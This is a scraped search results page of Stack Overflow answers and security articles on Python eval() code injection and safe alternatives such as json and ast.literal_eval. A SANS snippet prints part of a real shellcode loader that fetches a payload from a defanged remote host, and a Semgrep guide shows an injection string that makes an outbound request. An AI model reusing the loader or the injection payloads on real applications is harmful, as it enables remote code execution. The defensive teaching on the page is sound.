This depends entirely on what you do with the input from the webform. In normal use the form gets encoded as x-www-form-urlencoded or json -- Both formats which can be deserialized into a python dictionary completely safely. Of course, they could be deserialized in unsafe ways too -- Make sure that you use libraries that are dedicated to handling this properly (e.g. urlparse or json).

From there, whether the input is safe depends entirely on what the application does with it. (e.g. it is not safe if the application uses eval with input based on the decoded dict).

As for automated testing for this -- I don't know of any way to accomplish this, but these problems are generally pretty easy to mitigate by just following normal best-practices (don't eval code you don't trust, etc. etc.)

Answer from mgilson on Stack Overflow
🌐
Medium
medium.com › swlh › hacking-python-applications-5d4cd541b3f1
Hacking Python Applications. And how attackers exploit common… | by Vickie Li | The Startup | Medium
November 15, 2019 - Dangerous functions in Python like ... code injection. The eval() function in Python takes strings and execute them as code. For example, eval(‘1+1’) would return 2. Since eval() can be used to execute arbitrary code on the system, it should ...
🌐
SANS
isc.sans.edu › diary › Python+Shellcode+Injection+From+JSON+Data › 28118
Python Shellcode Injection From JSON Data - SANS ISC
December 10, 2021 - Thanks to the library ctypes[2], Python is able to use any native API calls provided by DLLs. The script is very simple, so here is the full code: import ctypes,urllib3,base64,json try: b=eval t=bytearray u=len A=json.loads H=base64.b64decode P=urllib3.PoolManager q=ctypes.pointer M=ctypes.c_char D=ctypes.c_int f=ctypes.c_uint64 F=ctypes.windll y={'Content-Type':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ',"Origin":'hxxps://txtpad[.]cn',} I="hxxps://a6[.]qikekeji[.]com/txt/data/detail/?txt_name=1231" n=A(A(P().request('GET',I,headers=y).data.decode(encodi
Discussions

python - Does converting json to dict with eval a good choice? - Stack Overflow
JSON isn't even valid Python, because of true, false, and null. eval will execute arbitrary Python code, so you are at the mercy of malicious injection of code. More on stackoverflow.com
🌐 stackoverflow.com
python - I need to inject the code with eval() function to complete my task, do i need to changes in eval() funcction? - Stack Overflow
I need to complete this task, please see the below comments, You are calling the hack() function in your text files which is a good start. The goal of the task inject the hack() function into the P... More on stackoverflow.com
🌐 stackoverflow.com
June 23, 2023
Is this eval() in python safe? - Stack Overflow
can you provide POC on this code injection? ... Why would you even bother? You don't need eval here to accomplish what you're doing. More on stackoverflow.com
🌐 stackoverflow.com
May 23, 2017
JSON Python Evaluation - Stack Overflow
You can use python 3.0 eval function which essentially converts the json string into a python dictionary. However, it is not considered as a good practice as people can inject malicious code which the eval statement runs as python code. More on stackoverflow.com
🌐 stackoverflow.com
January 30, 2015
🌐
Floyd
floyd.ch
Exploiting Python’s Eval | floyd's
Pingback: Exploiting Python Code Injection in Web Applications – My Blog · python module evalidate (pip3 install evalidate) solves this problem. It parses untrusted user code into Abstract Syntax Tree (AST) and checks each node. Code is evaluated then only if it consist only of safe nodes.
🌐
Sourcery
sourcery.ai › vulnerabilities › python-django-security-injection-code-user-eval-format-string
Django Code Injection via eval() with Format Strings | Security Vulnerability Database | Sourcery
This occurs when user input is inserted into format strings that are then evaluated, allowing attackers to inject malicious code through format string manipulation and execute arbitrary Python code.
🌐
VK9 Security
vk9-sec.com › exploiting-python-eval-code-injection
Exploiting Python EVAL() Code Injection | VK9 Security
The eval() function in Python evaluates a string as a Python expression and returns the result. It allows developers to dynamically execute code during runtime, providing great flexibility. However, if user-supplied input is directly passed into eval(), it can lead to code injection vulnerabilities.
🌐
JFrog
jfrog.com › blog home › 23andme’s yamale python code injection, and properly sanitizing eval()
23andMe's Yamale Python code injection, and properly sanitizing eval()
September 1, 2022 - If possible, we highly recommend using ast.literal_eval instead of eval. literal_eval can only handle simple expressions, but should be sufficient for a lot of simple use cases, without exposing the code to any vulnerabilities. As mentioned, an attacker needs to be able to specify the contents of the schema file in order to inject Python code.
🌐
Wisc
research.cs.wisc.edu › mist › SoftwareSecurityCourse › Chapters › 3_8_3-Code-Injections.pdf pdf
Introduction to Software Security Chapter 3.8.3: Code Injections
Code injection is a risk with languages that execute or interpret script because of the ease of running a · string as an executable statement or statements at runtime (commonly called “eval”). For example, popular languages that have this ability include: JavaScript, Perl, Python, and Ruby.
Find elsewhere
🌐
Sourcery
sourcery.ai › vulnerabilities › python-lang-security-audit-eval-detected
Python eval() Function Detection Vulnerability | Security Vulnerability Database | Sourcery
Loading config with eval(): config = eval(config_string). Treating Python literals as data format. Attackers inject code in configuration files. Alternatives like json.loads(), yaml.safe_load(), or ast.literal_eval() safer.
🌐
Semgrep
semgrep.dev › secure coding › python › prevent code injection for python
Prevent Code Injection for Python - Semgrep
1 week ago - # Value supplied by user user_input = "__import__('code').InteractiveInterpreter().runsource('import requests;requests.get(\'localhost:3000\')')" # Vulnerable eval(user_input) ... Do not use eval(). Alternatively: If you need to use eval() with non-literal values, ensure that executed content is not controllable by external sources. If it’s not possible, strip everything except alphanumeric characters from the input. Don’t try to make eval safe with tricks such as {'__builtins__':{}}. python.lang.security.audit.eval-detected.eval-detected
🌐
Orbisappsec
orbisappsec.com › home › blog › code injection via eval(): how a critical python flaw was fixed
Code Injection via eval(): How a Critical Python Flaw Was Fixed
June 3, 2026 - Rules like python.lang.security.audit.eval-detected will flag eval() usage automatically. ... # Example GitHub Actions step - name: Run Semgrep uses: returntocorp/semgrep-action@v1 with: config: >- p/python p/security-audit · Other tools to consider: - Bandit — Python-specific security linter (bandit -r your_project/) - PyLint with security plugins - SonarQube / SonarCloud - CodeQL (GitHub Advanced Security) Even if code injection isn't possible, run your tools with minimal permissions.
🌐
Acunetix
acunetix.com › vulnerabilities › web › python-code-injection
Code Evaluation (Python) - Vulnerabilities - Acunetix
This script is vulnerable to Python code injection. The user input appears to be placed into a dynamically evaluated Python code statement, allowing a... Code Evaluation (Python)
🌐
Information Security Newspaper
securitynewspaper.com › home › exploiting python code injection in web applications
Exploiting Python Code Injection in Web Applications
December 11, 2016 - Although you would be hard pressed to find an article online that talks about python eval() without warning that it is unsafe, eval() is the most likely culprit here. When you have the following two conditions, the vulnerability exists: Application accepts user input (e.g., GET/POST param, cookie value) Application passes that user controlled input to eval in an unsafe way (without sanitization or other protection mechanisms). Here is a simplified version of what the vulnerable code could look like:
🌐
Stack Overflow
stackoverflow.com › questions › 76539692 › i-need-to-inject-the-code-with-eval-function-to-complete-my-task-do-i-need-to
python - I need to inject the code with eval() function to complete my task, do i need to changes in eval() funcction? - Stack Overflow
June 23, 2023 - import os from vulnerability import hack def login(username): users = ['Nkoli', 'Hyperion', 'Ori', 'Tony'] if username in users: return f"Welcome, {username}." else: return "" print("This code will log a username in") if os.path.exists("hack3.txt"): with open("hack3.txt", 'r') as in_file: user_input = in_file.read() else: user_input = input("Enter your username\n: ") // Then, we run the code print(eval(f"login('{user_input}')")) # hack1.txt hack() ... Do not use eval() for this. It's evil ... I believe this is an exercise from a cybersecurity MOOC, so I guess they're using this to demonstrate just how eval() introduces injection vulnerabilities.
🌐
Jmu
users.cs.jmu.edu › bernstdh › web › common › lectures › summary_vulnerabilities_injection.php
Injection Vulnerabilities - Computer Science - JMU
Python: eval, exec, execfile, os.open, os.system · Ruby: Kernal.eval(), Kernel.exec(), Kernel.fork() Mitigation: Validate/sanitize data (Note: Allow-lists are preferred to deny-lists) Write wrapper functions/methods · Some languages (e.g., Perl, Ruby) include a taint mode that provides checks · JSON Injection ·
🌐
PortSwigger
portswigger.net › kb › issues › 00100f10_python-code-injection
Python code injection - PortSwigger
Server-side code injection vulnerabilities arise when an application incorporates user-controllable data into a string that is dynamically evaluated by a code interpreter. If the user data is not strictly validated, an attacker can use crafted ...